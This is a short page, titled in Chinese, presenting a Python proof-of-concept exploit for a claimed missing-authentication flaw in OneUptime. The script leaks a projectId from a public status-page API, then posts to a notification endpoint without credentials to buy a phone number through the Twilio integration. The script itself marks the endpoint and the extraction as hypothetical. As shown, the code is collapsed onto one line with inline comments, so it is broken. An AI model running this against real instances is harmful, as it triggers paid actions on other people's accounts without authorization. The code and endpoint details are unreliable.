CVE-2026-34759 OneUptime 身份验证缺失漏洞

# PoC for CVE-2026-34759 # Demonstrates the lack of authentication on notification endpoints import requests target_url = "https://target-oneuptime-instance.com" # Step 1: Leak projectId from public Status Page API print("[+] Attempting to leak projectId...") status_api_response = requests.get(f"{target_url}/api/status-page/public") project_id = status_api_response.json().get('data', {}).get('projectId') # Hypothetical extraction if project_id: print(f"[+] ProjectId found: {project_id}") # Step 2: Exploit unauthenticated notification endpoint # Example: Purchasing a phone number via Twilio integration exploit_headers = { "Content-Type": "application/json" # Note: No Authorization header is sent due to the vulnerability } payload = { "projectId": project_id, "phoneNumber": "+15550199", "action": "purchase" } exploit_url = f"{target_url}/notification/endpoint" # Hypothetical vulnerable endpoint response = requests.post(exploit_url, json=payload, headers=exploit_headers) if response.status_code == 200: print("[+] Exploit successful! Action performed without authentication.") else: print("[-] Exploit failed.") else: print("[-] Could not retrieve projectId.")